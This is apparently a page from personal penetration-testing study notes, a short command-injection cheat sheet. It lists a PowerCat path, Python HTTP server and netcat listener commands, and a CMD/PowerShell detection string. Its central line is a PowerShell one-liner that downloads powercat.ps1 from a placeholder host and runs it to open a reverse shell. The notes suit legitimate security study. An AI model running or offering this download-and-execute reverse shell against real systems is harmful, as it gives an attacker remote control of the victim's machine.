πŸ‘¨β€πŸ’»
Jawad's Notes
  • πŸ‘¨β€πŸ«INFOSEC
    • πŸ•ΈοΈWeb
      • Burp Suite: Setting Foxyproxy
      • XSS
      • Wappalyzer
      • Directory Traversal
      • LFI
        • PHP Wrappers
        • RFI
      • Reverse Shell
        • Command Injection Quick Tips
      • File Upload
      • WPScan
      • SQL Injection
        • Schemas
        • SQLmap
        • MSSQL
        • MySQL
        • PostgreSQL
    • πŸ”§Tools
      • Whois
      • DNSRecon
      • DNSenum
      • nslookup
      • Netcat
        • Powercat
      • Nmap
        • Nmap Scripting Engine
        • Test-NetConnection
        • Grep
      • Server Message Block (SMB)
      • SNMP
      • SMTP
      • ExifTool
      • Search Engine Hacking
      • Source Control Hacking
      • Nessus
      • Canarytokens
      • Qualys SSL Server Test
      • Security Headers
      • theHarvester
      • Shodan
      • Gobuster
        • Dirb
      • Searchsploit
      • Password Cracking
        • Hashcat
        • John The Ripper
        • Hydra
        • hashID
        • CPU vs GPU
    • 🐧Linux
      • Symbols
      • cat
      • curl
      • openvpn
      • tcpdump
      • Remote Desktop
      • SmbShare
      • Tmux
      • Convert Windows-style line endings (CRLF) to Unix-style (LF)
      • SSH
    • πŸ–₯️Macros in Office
    • 🍎Enhancing Your MacOS Terminal Experience
    • 🚩CTF
      • SQL Injection
        • WHERE clause allowing retrieval of hidden data
        • Allowing login bypass
        • UNION attack, determining the number of columns returned by the query
        • UNION attack, finding a column containing text
        • UNION attack, retrieving data from other tables
        • UNION attack, retrieving multiple values in a single column
        • Querying the database type and version on Oracle
Powered by GitBook
On this page
  1. INFOSEC
  2. Web
  3. Reverse Shell

Command Injection Quick Tips

PowerCat Location on Kali

/usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps

Starting a Python Server on port 80

kali@kali:~$ python3 -m http.server 80

Starting a Netcat Listener on Port 4444

kali@kali:~$ nc -nvlp 4444

Determining Command Execution Environment

To determine if commands are executed by CMD or PowerShell:

(dir 2>&1 *`|echo CMD);&<# rem #>echo Powershell

To create a reverse shell by downloading PowerCat and connecting to a Netcat listener:

IEX (New-Object System.Net.Webclient).DownloadString("http://example.com/powercat.ps1");powercat -c [IP] -p [PORT] -e powershell

Replace [IP] and [PORT] with the appropriate IP address and port number for your Netcat listener.

PreviousReverse ShellNextFile Upload

Last updated 1 year ago

πŸ‘¨β€πŸ«
πŸ•ΈοΈ